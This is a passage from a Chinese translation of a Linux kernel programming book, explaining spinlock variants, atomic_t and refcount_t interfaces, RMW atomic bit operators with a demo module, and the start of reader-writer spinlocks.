 void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags);

锁定和解锁函数的第一个参数都是要使用的自旋锁变量。第二个参数flags 必须是unsigned long类型的本地变量。这将用于保存和恢复中断掩码:

spinlock_t slock;
spin_lock_init(&slock);
[ ... ]
driver_read(...) 
{
    [ ... ]
    spin_lock_irqsave(&slock, flags);
    << ... critical section ... >>
    spin_unlock_irqrestore(&slock, flags);
    [ ... ]
}

要严格,spin_lock_irqsave()不是一个 API,而是一个宏;我们将其显示为 API 是为了可读性。此宏的返回值虽然不是 void,但这是一个内部细节(这里更新了flags参数变量)。

如果一个任务或软中断(底半部中断机制)有一个关键部分与您的进程上下文代码路径“竞争”,在这种情况下,使用spin_lock_bh()例程可能是所需的,因为它可以在本地处理器上禁用底半部,然后获取自旋锁,从而保护关键部分(类似于spin_lock_irq[save]()在进程上下文中保护关键部分,通过在本地核心上禁用硬件中断):

void spin_lock_bh(spinlock_t *lock);

当然,开销在高性能敏感的代码路径中很重要(网络堆栈是一个很好的例子)。因此,使用最简单形式的自旋锁将有助于处理更复杂的变体。尽管如此,肯定会有需要使用更强形式的自旋锁 API 的情况。例如,在 Linux 内核 5.4.0 上,这是我们看到的不同形式自旋锁 API 的使用实例数量的近似值:spin_lock():超过 9,400 个使用实例;spin_lock_irq():超过 3,600 个使用实例;spin_lock_irqsave():超过 15,000 个使用实例;和spin_lock_bh():超过 3,700 个使用实例。(我们不从中得出任何重大推论;只是我们希望指出,在 Linux 内核中广泛使用更强形式的自旋锁 API)。

最后,让我们简要介绍一下自旋锁的内部实现:在底层内部实现方面,实现往往是非常特定于体系结构的代码,通常由在微处理器上执行非常快的原子机器语言指令组成。例如,在流行的 x86[_64]体系结构上,自旋锁最终归结为自旋锁结构的成员上的原子测试和设置机器指令(通常通过cmpxchg机器语言指令实现)。在 ARM 机器上,正如我们之前提到的,实现的核心通常是wfe(等待事件,以及SetEventSEV))机器指令。(您将在进一步阅读部分找到关于其内部实现的资源)。无论如何,作为内核或驱动程序的作者,您在使用自旋锁时应该只使用公开的 API(和宏)。

使用自旋锁-快速总结

让我们快速总结一下自旋锁:

  • 最简单,开销最低:在保护进程上下文中的关键部分时,请使用非 irq 自旋锁原语spin_lock()/spin_unlock()(要么没有中断需要处理,要么有中断,但我们根本不与它们竞争;实际上,当中断不发挥作用或不重要时使用这个)。

  • 中等开销:当中断发挥作用并且很重要时,请使用禁用 irq(以及内核抢占禁用)版本的spin_lock_irq() / spin_unlock_irq()(进程和中断上下文可能会“竞争”;也就是说,它们共享全局数据)。

  • 最强(相对)高开销:这是使用自旋锁的最安全方式。它与中等开销的方式相同,只是通过spin_lock_irqsave() / spin_unlock_irqrestore()对中断掩码执行保存和恢复,以确保以前的中断掩码设置不会被意外覆盖,这可能会发生在前一种情况下。

正如我们之前所看到的,自旋锁 - 在等待锁时在其运行的处理器上“自旋” - 在 UP 系统上是不可能的(在另一个线程同时在同一 CPU 上运行时,您如何在仅有的一个 CPU 上自旋?)。实际上,在 UP 系统上,自旋锁 API 的唯一真正效果是它可以禁用处理器上的硬件中断和内核抢占!然而,在 SMP(多核)系统上,自旋逻辑实际上会发挥作用,因此锁定语义会按预期工作。但是请注意 - 这不应该让您感到压力,新手内核/驱动程序开发人员;事实上,整个重点是您应该简单地按照描述使用自旋锁 API,您将永远不必担心 UP 与 SMP 之间的区别;做什么和不做什么的细节都被内部实现隐藏起来。

尽管本书基于 5.4 LTS 内核,但从实时 LinuxRTL,以前称为 PREEMPT_RT)项目中添加了一个新功能到 5.8 内核,值得在这里快速提一下:“本地锁”。虽然本地锁的主要用例是用于(硬)实时内核,但它们也对非实时内核有所帮助,主要用于通过静态分析进行锁调试,以及通过 lockdep 进行运行时调试(我们将在下一章中介绍 lockdep)。这是有关该主题的 LWN 文章:lwn.net/Articles/828477/

通过这一部分,我们完成了自旋锁的部分,这是 Linux 内核中几乎所有子系统(包括驱动程序)都使用的一种极为常见和关键的锁。

总结

祝贺您完成了本章!

理解并发性及其相关问题对于任何软件专业人员来说都是非常关键的。在本章中,您学习了关于临界区的关键概念,其中需要在其中进行独占执行,以及原子性的含义。然后,您了解了在为 Linux 操作系统编写代码时为什么需要关注并发性。之后,我们详细探讨了实际的锁技术 - 互斥锁和自旋锁。您还学会了在何时使用哪种锁。最后,学习了在硬件中断(以及可能的底半部分)参与时如何处理并发性问题。

但我们还没有完成!我们还需要学习更多概念和技术,这正是我们将在本书的下一章,也是最后一章中要做的。我建议您先浏览本章的内容,以及进一步阅读部分和提供的练习,然后再深入研究最后一章!

问题

随着我们的结束,这里有一些问题供您测试对本章材料的了解:github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions。您会在书的 GitHub 存储库中找到一些问题的答案:github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn

进一步阅读

为了帮助您深入了解这个主题并提供有用的材料,我们在本书的 GitHub 存储库中提供了一个相当详细的在线参考和链接列表(有时甚至包括书籍)。进一步阅读文档在这里可用:github.com/PacktPublishing/Linux-Kernel-Programming/raw/master/Further_Reading.md

第七章:内核同步-第二部分

本章继续讨论上一章的话题,即内核同步和一般内核中处理并发的问题。我建议如果你还没有阅读上一章,那么先阅读上一章,然后再继续阅读这一章。

在这里,我们将继续学习有关内核同步和处理内核空间并发的广泛主题。与以往一样,这些材料针对内核和/或设备驱动程序开发人员。在本章中,我们将涵盖以下内容:

  • 使用 atomic_t 和 refcount_t 接口

  • 使用 RMW 原子操作符

  • 使用读写自旋锁

  • 缓存效应和伪共享

  • 使用每 CPU 变量的无锁编程

  • 内核内的锁调试

  • 内存屏障-简介

使用 atomic_t 和 refcount_t 接口

在我们简单的演示杂项字符设备驱动程序的(miscdrv_rdwr/miscdrv_rdwr.c)open方法(以及其他地方),我们定义并操作了两个静态全局整数gagb

static int ga, gb = 1;
[...]
ga++; gb--;

到目前为止,你应该明显意识到,我们操作这些整数的地方是一个潜在的错误,如果保持原样:它是共享的可写数据(在共享状态下),因此是一个关键部分,因此需要保护 并发访问。你明白了;因此,我们逐步改进了这一点。在上一章中,我们的ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c程序中,首先使用互斥锁来保护关键部分。后来,您了解到,使用自旋锁来保护非阻塞关键部分,例如这个,从性能上来说会(远远)优于使用互斥锁;因此,在我们的下一个驱动程序ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c中,我们使用了自旋锁:

spin_lock(&lock1);
ga++; gb--;
spin_unlock(&lock1);

这很好,但我们仍然可以做得更好!原来在内核中操作全局整数是如此普遍(考虑引用或资源计数器的增加和减少等),以至于内核提供了一类操作符称为refcount原子整数操作符或接口;这些操作符专门设计用于原子地(安全和不可分割地)操作只有整数

新的 refcount_t 与旧的 atomic_t 接口

在这个话题领域的开始,重要的是要提到这一点:从 4.11 内核开始,有一个新的更好的接口集被命名为refcount_t接口,用于内核空间对象的引用计数。它极大地改善了内核的安全性(通过大大改进的整数溢出IoF)和使用后释放UAF)保护以及内存排序保证,而旧的atomic_t接口缺乏)。refcount_t接口,就像 Linux 上使用的其他几种安全技术一样,起源于 The PaX Team 的工作- pax.grsecurity.net/(它被称为PAX_REFCOUNT)。

话虽如此,现实情况是(截至撰写本文时),旧的atomic_t接口在内核核心和驱动程序中仍然被广泛使用(它们正在逐渐转换,旧的atomic_t接口正在移动到新的refcount_t模型和 API 集)。因此,在这个话题中,我们同时涵盖了两者,指出差异,并提到哪些refcount_t API 在适用的地方取代了atomic_t API。将refcount_t接口视为(旧的)atomic_t接口的一种变体,专门用于引用计数。

atomic_t操作符和refcount_t操作符之间的一个关键区别是前者适用于有符号整数,而后者基本上设计为仅适用于unsigned int数量;更具体地说,这很重要,它仅在严格指定的范围内工作:1UINT_MAX-1(或[1..INT_MAX]!CONFIG_REFCOUNT_FULL)。内核有一个名为CONFIG_REFCOUNT_FULL的配置选项;如果设置,它将执行(更慢和更彻底的)"完整"引用计数验证。这对安全性有益,但可能会导致性能略有下降(典型的默认情况是保持此配置关闭;这是我们的 x86_64 Ubuntu 客户机的情况)。

试图将refcount_t变量设置为0或负数,或设置为[U]INT_MAX或更高,是不可能的;这有助于防止整数下溢/上溢问题,从而在许多情况下防止使用后释放类错误!(好吧,这不是不可能的;它会通过WARN()宏触发(吵闹的)警告。)想一想,refcount_t变量只能用于内核对象引用计数,什么都不能用。

因此,这确实是所需的行为;引用计数器必须从一个正值开始(通常是1,当对象新实例化时),每当代码获取或获取引用时,它会增加(或添加到),并且每当代码放置或离开对象上的引用时,它会减少(或减去)。您应该仔细操作引用计数器(匹配您的获取和放置),始终保持其值在合法范围内。

相当令人费解的是,至少对于通用的与体系结构无关的 refcount 实现来说,refcount_t API 是在atomic_t API 集上内部实现的。例如,refcount_set() API - 用于将引用计数的值原子设置为传递的参数 - 在内核中是这样实现的:

// include/linux/refcount.h
/**
 * refcount_set - set a refcount's value
 * @r: the refcount
 * @n: value to which the refcount will be set
 */
static inline void refcount_set(refcount_t *r, unsigned int n)
{
    atomic_set(&r->refs, n); 
}

这是对atomic_set()的薄包装(我们很快会介绍)。这里的明显常见问题是:为什么要使用 refcount API?有几个原因:

  • 计数器在REFCOUNT_SATURATED值(默认设置为UINT_MAX)处饱和,并且一旦到达那里就不会再移动。这很关键:它避免了计数器的包装,这可能会导致奇怪和偶发的 UAF 错误;这甚至被认为是一个关键的安全修复(kernsec.org/wiki/index.php/Kernel_Protections/refcount_t)。

  • 一些较新的 refcount API 确实提供内存排序保证;特别是refcount_t API - 与其较老的atomic_t表亲相比 - 以及它们提供的内存排序保证在www.kernel.org/doc/html/latest/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t中有清楚的文档(如果您对底层细节感兴趣,请查看)。

  • 此外,要意识到与先前提到的通用实现不同,依赖于体系结构的 refcount 实现可能会有所不同(如果存在的话;例如,x86 有,而 ARM 没有)。

内存排序到底是什么,它如何影响我们?事实上,这是一个复杂的话题,不幸的是,关于这一点的内部细节超出了本书的范围。了解基础知识是值得的:我建议您阅读Linux-Kernel Memory ModelLKMM),其中包括处理器内存排序等内容。我们在这里为您提供了关于这方面的良好文档:Linux-Kernel Memory Model 解释github.com/torvalds/linux/raw/master/tools/memory-model/Documentation/explanation.txt)。

更简单的 atomic_t 和 refcount_t 接口

关于atomic_t接口,我们应该提到所有以下atomic_t构造仅适用于 32 位整数;当然,现在 64 位整数已经很常见,64 位原子整数操作符也是可用的。它们通常在语义上与它们的 32 位对应物相同,不同之处在于名称(atomic_foo()变成atomic64_foo())。因此,64 位原子整数的主要数据类型称为atomic64_t(又名atomic_long_t)。另一方面,refcount_t接口适用于 32 位和 64 位整数。

以下表格显示了如何并排声明和初始化atomic_trefcount_t变量,以便您可以进行比较和对比:

(旧的)atomic_t(仅限 32 位) (新的)refcount_t(32 位和 64 位)
要包含的头文件 <linux/atomic.h>
声明和初始化一个变量 static atomic_t gb = ATOMIC_INIT(1);

表 17.1 - 旧的 atomic_t 与新的 refcount_t 接口用于引用计数:头文件和初始化

内核中可用的所有atomic_trefcount_tAPI 的完整集合非常庞大;为了在本节中保持简单和清晰,我们只列出了一些更常用的(32 位原子)和refcount_t接口(它们操作于通用的atomic_trefcount_t变量v):

操作 (旧的)atomic_t 接口 (新的)refcount_t 接口[范围:0 到[U]INT_MAX]
要包含的头文件 <linux/atomic.h> <linux/refcount.h>
声明和初始化一个变量 static atomic_t v = ATOMIC_INIT(1); static refcount_t v = REFCOUNT_INIT(1);
原子性地读取v的当前值 int atomic_read(atomic_t *v) unsigned int refcount_read(const refcount_t *v)
原子性地将v设置为值i void atomic_set(atomic_t *v, i) void refcount_set(refcount_t *v, int i)
原子性地将v值增加1 void atomic_inc(atomic_t *v) void refcount_inc(refcount_t *v)
原子性地将v的值减少1 void atomic_dec(atomic_t *v) void refcount_dec(refcount_t *v)
原子性地将i的值添加到v void atomic_add(i, atomic_t *v) void refcount_add(int i, refcount_t *v)
原子性地从v中减去i的值 void atomic_sub(i, atomic_t *v) void refcount_sub(int i, refcount_t *v)
原子性地将i的值添加到v并返回结果 int atomic_add_return(i, atomic_t *v) bool refcount_add_not_zero(int i, refcount_t *v)(不是精确匹配;将i添加到v,除非它是0。)
原子性地从v中减去i的值并返回结果 int atomic_sub_return(i, atomic_t *v) bool refcount_sub_and_test(int i, refcount_t *r)(不是精确匹配;从v中减去i并测试;如果结果的引用计数为0,则返回true,否则返回false。)

表 17.2 - 旧的 atomic_t 与新的 refcount_t 接口用于引用计数:API

现在您已经看到了几个atomic_trefcount_t宏和 API;让我们快速检查一下它们在内核中的使用示例。

在内核代码库中使用 refcount_t 的示例

在我们关于内核线程的演示内核模块中(在ch15/kthread_simple/kthread_simple.c),我们创建了一个内核线程,然后使用get_task_struct()内联函数来标记内核线程的任务结构正在使用中。正如您现在猜到的那样,get_task_struct()例程通过refcount_inc()API 增加任务结构的引用计数器——一个名为usagerefcount_t变量:

// include/linux/sched/task.h
static inline struct task_struct *get_task_struct(struct task_struct *t) 
{
    refcount_inc(&t->usage);
    return t;
}

相反的例程put_task_struct()对引用计数执行后续减量。它内部使用的实际例程refcount_dec_and_test()测试新的 refcount 值是否已经降至0;如果是,则返回true,如果是这种情况,则意味着任务结构没有被任何人引用。对__put_task_struct()的调用将其释放:

static inline void put_task_struct(struct task_struct *t) 
{
    if (refcount_dec_and_test(&t->usage))
        __put_task_struct(t);
}

内核中另一个使用 refcounting API 的示例可以在kernel/user.c中找到(它有助于跟踪用户通过每个用户结构声明的进程、文件等的数量):

图 7.1 - 屏幕截图显示内核/user.c 中 refcount_t 接口的使用

查阅refcount_t API 接口文档(www.kernel.org/doc/html/latest/driver-api/basics.html#reference-counting);refcount_dec_and_lock_irqsave()返回true,如果能够将引用计数减少到0,则在禁用中断的情况下保留自旋锁,否则返回false

作为练习,将我们之前的ch16/2_miscdrv_rdwr_spinlock/miscdrv_rdwr_spinlock.c驱动程序代码转换为使用 refcount;它具有整数gagb,在读取或写入时,通过自旋锁进行保护。现在,将它们变成 refcount 变量,并在处理它们时使用适当的refcount_t API。

小心!不要让它们的值超出允许的范围,[0..[U]INT_MAX]!(请记住,当完整的 refcount 验证(CONFIG_REFCOUNT_FULL打开)时,范围为[1..UINT_MAX-1],当不是完整验证(默认)时,范围为[1..INT_MAX])。这样做通常会导致调用WARN()宏(此演示中的代码在我们的 GitHub 存储库中未包含,图 7.1中可见):

图 7.2 - (部分)屏幕截图显示当我们错误地尝试将 refcount_t 变量设置为<= 0 时,WARN()宏触发

内核有一个有趣且有用的测试基础设施,称为Linux 内核转储测试模块LKDTM);请参阅drivers/misc/lkdtm/refcount.c,了解在 refcount 接口上运行的许多测试用例,您可以从中学习...另外,您还可以通过内核的故障注入框架使用 LKDTM 来测试和评估内核对故障情况的反应(请参阅此处的文档:使用 Linux 内核转储测试模块(LKDTM)引发崩溃 - www.kernel.org/doc/html/latest/fault-injection/provoke-crashes.html#provoking-crashes-with-linux-kernel-dump-test-module-lkdtm)。

到目前为止,所有涵盖的原子接口都是针对 32 位整数进行操作的;那么 64 位整数呢?接下来就是。

64 位原子整数运算符

正如本主题开头提到的,我们迄今为止处理的atomic_t整数运算符都是针对传统的 32 位整数进行操作的(这个讨论不适用于较新的refcount_t接口;它们无论如何都是针对 32 位和 64 位数量进行操作的)。显然,随着 64 位系统成为现在的常态而不是例外,内核社区为 64 位整数提供了一套相同的原子整数运算符。区别如下:

  • 将 64 位原子整数声明为atomic64_t类型的变量(即atomic_long_t)。

  • 对于所有运算符,使用atomic64_前缀代替atomic_前缀。

因此,采用以下示例:

  • 使用ATOMIC64_INIT()代替ATOMIC_INIT()

  • 使用atomic64_read()代替atomic_read()

  • 使用atomic64_dec_if_positive()代替atomic64_dec_if_positive()

最近的 C 和 C++语言标准 - C11 和 C++11 - 提供了一个原子操作库,帮助开发人员实现原子性更容易,因为它有隐式的语言支持;我们不会在这里深入讨论这个方面。可以在这里找到参考(C11 也有几乎相同的等价物):en.cppreference.com/w/c/atomic

请注意,所有这些例程 - 32 位和 64 位的原子_operators - 都是与架构无关的。值得重申的关键一点是,对原子整数进行的任何操作都必须通过将变量声明为atomic_t并通过提供的方法来完成。这包括初始化甚至(整数)读取操作。

就内部实现而言,foo()原子整数操作通常是一个宏,变成内联函数,然后调用特定架构的arch_foo()函数。通常情况下,浏览官方内核文档中的原子操作符总是一个好主意(在内核源树中,它在这里:Documentation/atomic_t.txt;访问www.kernel.org/doc/Documentation/atomic_t.txt)。它将众多原子整数 API 整齐地分类为不同的集合。值得一提的是,特定架构的内存排序问题会影响内部实现。在这里,我们不会深入探讨内部情况。如果感兴趣,请参考官方内核文档网站上的这个页面www.kernel.org/doc/html/v4.16/core-api/refcount-vs-atomic.html#refcount-t-api-compared-to-atomic-t(此外,关于内存排序的细节超出了本书的范围;请查看内核文档www.kernel.org/doc/Documentation/memory-barriers.txt了解更多)。

我们没有尝试在这里展示所有原子和引用计数 API(这真的不必要);官方内核文档涵盖了它:

让我们继续讨论在驱动程序上工作时使用的典型构造 - 读取修改写入RMW)。继续阅读!

使用 RMW 原子操作符

还有一组更高级的原子操作符称为 RMW API 也可用。在其许多用途中(我们将在接下来的部分中列出),是对位进行原子 RMW 操作,换句话说,安全地、不可分割地执行位操作。作为操作设备或外围寄存器的设备驱动程序作者,这确实是您将发现自己使用的东西。

本节的材料假定您至少具有基本的访问外围设备(芯片)内存和寄存器的理解;我们在第三章中详细介绍了这一点,请确保在继续之前理解它。

经常需要对寄存器进行位操作(使用按位AND &和按位OR |是最常见的操作符),这是为了修改它的值,设置和/或清除其中的一些位。问题是,仅仅进行一些 C 操作来查询或设置设备寄存器是不够的。不,先生:不要忘记并发问题!继续阅读完整的故事。

RMW 原子操作——对设备寄存器进行操作

让我们先快速复习一些基础知识:一个字节由 8 位组成,从位0,即最低有效位LSB),到位7,即最高有效位MSB)。(这实际上在include/linux/bits.h中以BITS_PER_BYTE宏的形式正式定义,还有一些其他有趣的定义。)

一个寄存器基本上是外围设备中的一个小片内存;通常,它的大小,寄存器位宽,是 8、16 或 32 位之一。设备寄存器提供控制、状态和其他信息,并且通常是可编程的。实际上,这在很大程度上是你作为驱动程序作者要做的事情——适当地编程设备寄存器以使设备执行某些操作,并查询它。

为了充实这个讨论,让我们考虑一个假设的设备,它有两个寄存器:一个状态寄存器和一个控制寄存器,每个寄存器宽度为 8 位。(在现实世界中,每个设备或芯片都有一个数据表,其中提供了芯片和寄存器级硬件的详细规格;这对于驱动程序作者来说是一个必不可少的文档)。硬件人员通常设计设备的方式是将几个寄存器顺序地组合在一个更大的内存块中;这称为寄存器银行。通过拥有第一个寄存器的基地址和每个后续寄存器的偏移量,可以很容易地寻址任何给定的寄存器(在这里,我们不会深入探讨在诸如 Linux 等操作系统上寄存器如何被“映射”到虚拟地址空间)。例如,在头文件中可能像这样描述(纯粹是假设的)寄存器:

#define REG_BASE        0x5a00
#define STATUS_REG      (REG_BASE+0x0)
#define CTRL_REG        (REG_BASE+0x1)

现在,假设为了打开我们的虚构设备,数据表告诉我们可以通过将控制寄存器的第7位(MSB)设置为1来实现。正如每个驱动程序作者很快就会了解到的,修改寄存器有一个神圣的序列:

  1. 读取寄存器的当前值到一个临时变量中。

  2. 修改变量为所需的值。

  3. 变量写回寄存器。

这经常被称为RMW 序列;所以,很好,我们像这样编写(伪)代码:

turn_on_dev()
{
    u8 tmp;

    tmp = ioread8(CTRL_REG);  /* read: current register value into tmp */
    tmp |= 0x80;              /* modify: set bit 7 (MSB) */
    iowrite8(tmp, CTRL_REG);  /* write: new tmp value into register */
}

(顺便说一句,在 Linux 上用于MMIO——内存映射 I/O的实际例程是ioread[8|16|32]()iowrite[8|16|32]()。)

这里有一个关键点:这还不够好;原因是并发,数据竞争!想想看:一个寄存器(无论是 CPU 还是设备寄存器)实际上是一个全局共享的可写内存位置;因此,访问它构成了一个临界区,你必须小心保护它免受并发访问!如何做到这一点很容易;我们可以简单地使用自旋锁(至少目前是这样)。修改前面的伪代码以在临界区中插入spin_[un]lock()API 是微不足道的——RMW 序列。

然而,有一种更好的方法可以在处理整数等小量时实现数据安全;我们已经涵盖了它:原子操作符!然而,Linux 更进一步,为以下两种情况提供了一组原子 API:

  • 非 RMW 原子操作(我们之前看到的,在使用 atomic_t 和 refcount_t 接口部分)

  • 原子 RMW 操作;这些包括几种类型的操作符,可以分为几个不同的类别:算术、按位、交换(交换)、引用计数、杂项和屏障

让我们不要重复造轮子;内核文档(www.kernel.org/doc/Documentation/atomic_t.txt)中包含了所有所需的信息。我们将仅显示这份文件的相关部分,直接引用自Documentation/atomic_t.txt内核代码库。

// Documentation/atomic_t.txt
[ ... ]
Non-RMW ops:
  atomic_read(), atomic_set()
  atomic_read_acquire(), atomic_set_release()

RMW atomic operations:

Arithmetic:
  atomic_{add,sub,inc,dec}()
  atomic_{add,sub,inc,dec}_return{,_relaxed,_acquire,_release}()
  atomic_fetch_{add,sub,inc,dec}{,_relaxed,_acquire,_release}()

Bitwise:
  atomic_{and,or,xor,andnot}()
  atomic_fetch_{and,or,xor,andnot}{,_relaxed,_acquire,_release}()

Swap:
  atomic_xchg{,_relaxed,_acquire,_release}()
  atomic_cmpxchg{,_relaxed,_acquire,_release}()
  atomic_try_cmpxchg{,_relaxed,_acquire,_release}()

Reference count (but please see refcount_t):
  atomic_add_unless(), atomic_inc_not_zero()
  atomic_sub_and_test(), atomic_dec_and_test()

Misc:
  atomic_inc_and_test(), atomic_add_negative()
  atomic_dec_unless_positive(), atomic_inc_unless_negative()
[ ... ]

好了;现在您已经了解了这些 RMW(和非 RMW)操作符,让我们实际操作一下 - 我们将看看如何在下一步使用 RMW 操作符进行位操作。

使用 RMW 位操作符

在这里,我们将专注于使用 RMW 位操作符;其他操作留给您去探索(参考提到的内核文档)。因此,让我们再次考虑如何更有效地编写我们的伪代码示例。我们可以使用set_bit() API 在任何寄存器或内存项中设置(为1)任何给定的位:

void set_bit(unsigned int nr, volatile unsigned long *p);

这样原子地 - 安全地和不可分割地 - 将p的第nr位设置为1。(事实上,设备寄存器(可能还有设备内存)被映射到内核虚拟地址空间中,因此看起来就像是 RAM 位置 - 就像这里的地址p一样。这称为 MMIO,是驱动程序作者映射和处理设备内存的常见方式。)

因此,使用 RMW 原子操作符,我们可以安全地实现我们之前(错误地)尝试的操作 - 用一行代码打开我们的(虚构的)设备:

set_bit(7, CTRL_REG);

以下表总结了常见的 RMW 位原子 API:

RMW 位原子 API 注释
void set_bit(unsigned int nr, volatile unsigned long *p); 原子地设置(设置为1p的第nr位。
void clear_bit(unsigned int nr, volatile unsigned long *p) 原子地清除(设置为0p的第nr位。
void change_bit(unsigned int nr, volatile unsigned long *p) 原子地切换p的第nr位。
以下 API 返回正在操作的位(nr)的先前值
int test_and_set_bit(unsigned int nr, volatile unsigned long *p) 原子地设置p的第nr位,返回先前的值(内核 API 文档位于www.kernel.org/doc/htmldocs/kernel-api/API-test-and-set-bit.html)。
int test_and_clear_bit(unsigned int nr, volatile unsigned long *p) 原子地清除p的第nr位,返回先前的值。
int test_and_change_bit(unsigned int nr, volatile unsigned long *p) 原子地切换p的第nr位,返回先前的值。

表 17.3 - 常见的 RMW 位原子 API

注意:这些原子 API 不仅仅是相对于它们运行的 CPU 核心是原子的,而且现在也是相对于所有/其他核心是原子的。实际上,这意味着如果您在多个 CPU 上并行执行原子操作,也就是说,如果它们(可能)竞争,那么这是一个关键部分,您必须用锁(通常是自旋锁)来保护它!

尝试一些这些 RMW 原子 API 将有助于建立您对使用它们的信心;我们将在接下来的部分中这样做。

使用位原子操作符 - 一个例子

让我们来看一个快速的内核模块,演示了 Linux 内核的 RMW 原子位操作符的用法(ch13/1_rmw_atomic_bitops)。您应该意识到这些操作符可以在任何内存上工作,无论是寄存器还是 RAM;在这里,我们在示例 LKM 中操作一个简单的静态全局变量(名为mem)。很简单;让我们来看一下:

// ch13/1_rmw_atomic_bitops/rmw_atomic_bitops.c
[ ... ]
#include <linux/spinlock.h>
#include <linux/atomic.h>
#include <linux/bitops.h>
#include "../../convenient.h"
[ ... ]
static unsigned long mem;
static u64 t1, t2; 
static int MSB = BITS_PER_BYTE - 1;
DEFINE_SPINLOCK(slock);

我们包括所需的头文件,并声明和初始化了一些全局变量(请注意我们的MSB变量如何使用BIT_PER_BYTE)。我们使用一个简单的宏,SHOW(),来显示带有printk的格式化输出。init代码路径是实际工作所在的地方:

[ ... ]
#define SHOW(n, p, msg) do {                                   \
    pr_info("%2d:%27s: mem : %3ld = 0x%02lx\n", n, msg, p, p); \
} while (0)
[ ... ]
static int __init atomic_rmw_bitops_init(void)
{
    int i = 1, ret;

    pr_info("%s: inserted\n", OURMODNAME);
    SHOW(i++, mem, "at init");

    setmsb_optimal(i++);
    setmsb_suboptimal(i++);

    clear_bit(MSB, &mem);
    SHOW(i++, mem, "clear_bit(7,&mem)");

    change_bit(MSB, &mem);
    SHOW(i++, mem, "change_bit(7,&mem)");

    ret = test_and_set_bit(0, &mem);
    SHOW(i++, mem, "test_and_set_bit(0,&mem)");
    pr_info(" ret = %d\n", ret);

    ret = test_and_clear_bit(0, &mem);
    SHOW(i++, mem, "test_and_clear_bit(0,&mem)");
    pr_info(" ret (prev value of bit 0) = %d\n", ret);

    ret = test_and_change_bit(1, &mem);
    SHOW(i++, mem, "test_and_change_bit(1,&mem)");
    pr_info(" ret (prev value of bit 1) = %d\n", ret);

    pr_info("%2d: test_bit(%d-0,&mem):\n", i, MSB);
    for (i = MSB; i >= 0; i--)
        pr_info(" bit %d (0x%02lx) : %s\n", i, BIT(i), test_bit(i, &mem)?"set":"cleared");

    return 0; /* success */
}

我们在这里使用的 RMW 原子操作符以粗体字突出显示。这个演示的一个关键部分是展示使用 RMW 位原子操作符不仅更容易,而且比在自旋锁的限制范围内手动执行 RMW 操作的传统方法更快。这是这两种方法的函数:

/* Set the MSB; optimally, with the set_bit() RMW atomic API */
static inline void setmsb_optimal(int i)
{
    t1 = ktime_get_real_ns();
    set_bit(MSB, &mem);
    t2 = ktime_get_real_ns();
    SHOW(i, mem, "set_bit(7,&mem)");
    SHOW_DELTA(t2, t1);
}
/* Set the MSB; the traditional way, using a spinlock to protect the RMW
 * critical section */
static inline void setmsb_suboptimal(int i)
{
    u8 tmp;

    t1 = ktime_get_real_ns();
    spin_lock(&slock);
 /* critical section: RMW : read, modify, write */
    tmp = mem;
    tmp |= 0x80; // 0x80 = 1000 0000 binary
    mem = tmp;
    spin_unlock(&slock);
    t2 = ktime_get_real_ns();

    SHOW(i, mem, "set msb suboptimal: 7,&mem");
    SHOW_DELTA(t2, t1);
}

我们在init方法中早期调用这些函数;注意我们通过ktime_get_real_ns()例程获取时间戳,并通过我们的convenient.h头文件中定义的SHOW_DELTA()宏显示所花费的时间。好了,这是输出:

图 7.3-来自我们的 ch13/1_rmw_atomic_bitops LKM 的输出截图,展示了一些原子 RMW 操作符的工作情况

(我在我的 x86_64 Ubuntu 20.04 虚拟机上运行了这个演示 LKM。)现代方法-通过set_bit() RMW 原子位 API-在这个样本运行中只需要 415 纳秒来执行;传统方法慢了大约 265 倍!代码(通过set_bit())也简单得多...

在与原子位操作符有些相关的地方,以下部分是对内核中用于搜索位掩码的高效 API 的非常简要的介绍-事实证明这是内核中一个相当常见的操作。

高效地搜索位掩码

有几种算法依赖于对位掩码进行快速搜索;几种调度算法(如SCHED_FIFOSCHED_RR,你在伴随指南Linux 内核编程-第十章CPU 调度器-第一部分第十一章CPU 调度器-第二部分中了解到)通常在内部需要这个。有效地实现这一点变得很重要(特别是对于操作系统级别的性能敏感代码路径)。因此,内核提供了一些 API 来扫描给定的位掩码(这些原型可以在include/asm-generic/bitops/find.h中找到):

  • unsigned long find_first_bit(const unsigned long *addr, unsigned long size): 在内存区域中查找第一个设置的位;返回第一个设置的位的位数,否则(没有设置位)返回@size

  • unsigned long find_first_zero_bit(const unsigned long *addr, unsigned long size): 在内存区域中查找第一个清除的位;返回第一个清除的位的位数,否则(没有清除的位)返回@size

  • 其他例程包括find_next_bit()find_next_and_bit()find_last_bit()

通过查看<linux/bitops.h>头文件,还可以发现其他非常有趣的宏,比如for_each_{clear,set}_bit{_from}()

使用读写自旋锁

想象一下内核(或驱动程序)代码的一部分,其中正在搜索一个大的全局双向循环链表(有几千个节点)。现在,由于数据结构是全局的(共享和可写),访问它构成了一个需要保护的临界区。

假设搜索列表是一个非阻塞操作的场景,你通常会使用自旋锁来保护临界区。一个天真的方法可能会建议根本不使用锁,因为我们只是读取列表中的数据,而不是更新它。但是,当然(正如你所学到的),即使是对共享可写数据的读取也必须受到保护,以防止同时发生的意外写入,从而导致脏读或不完整读取。

因此,我们得出结论,我们需要自旋锁;我们可以想象伪代码可能看起来像这样:

spin_lock(mylist_lock);
for (p = &listhead; (p = next_node(p)) != &listhead; ) {
    << ... search for something ... 
         found? break out ... >>
}
spin_unlock(mylist_lock);

那么问题是什么?当然是性能!想象一下在多核系统上,几个线程几乎同时到达这段代码片段;每个线程都会尝试获取自旋锁,但只有一个获胜的线程会获取它,遍历整个列表,然后执行解锁,允许下一个线程继续。换句话说,执行现在是串行化的,显然会显著减慢速度。但是没办法;还是有办法吗?

进入读-写自旋锁。使用这种锁定结构,要求所有执行对受保护数据的读取的线程都会请求读锁,而任何需要对列表进行写访问的线程都会请求独占写锁。只要没有写锁在起作用,读锁将立即授予任何请求的线程。实际上,这种结构允许所有读者并发访问数据,实际上根本不需要真正的锁定。只要只有读者,这是可以的。一旦有写入线程出现,它就会请求写锁。现在,正常的锁定语义适用:写入者必须等待所有读者解锁。一旦发生这种情况,写入者就会获得独占的写锁并继续进行。因此,现在,如果任何读者或写者尝试访问,它们将被迫等待直到写者解锁。

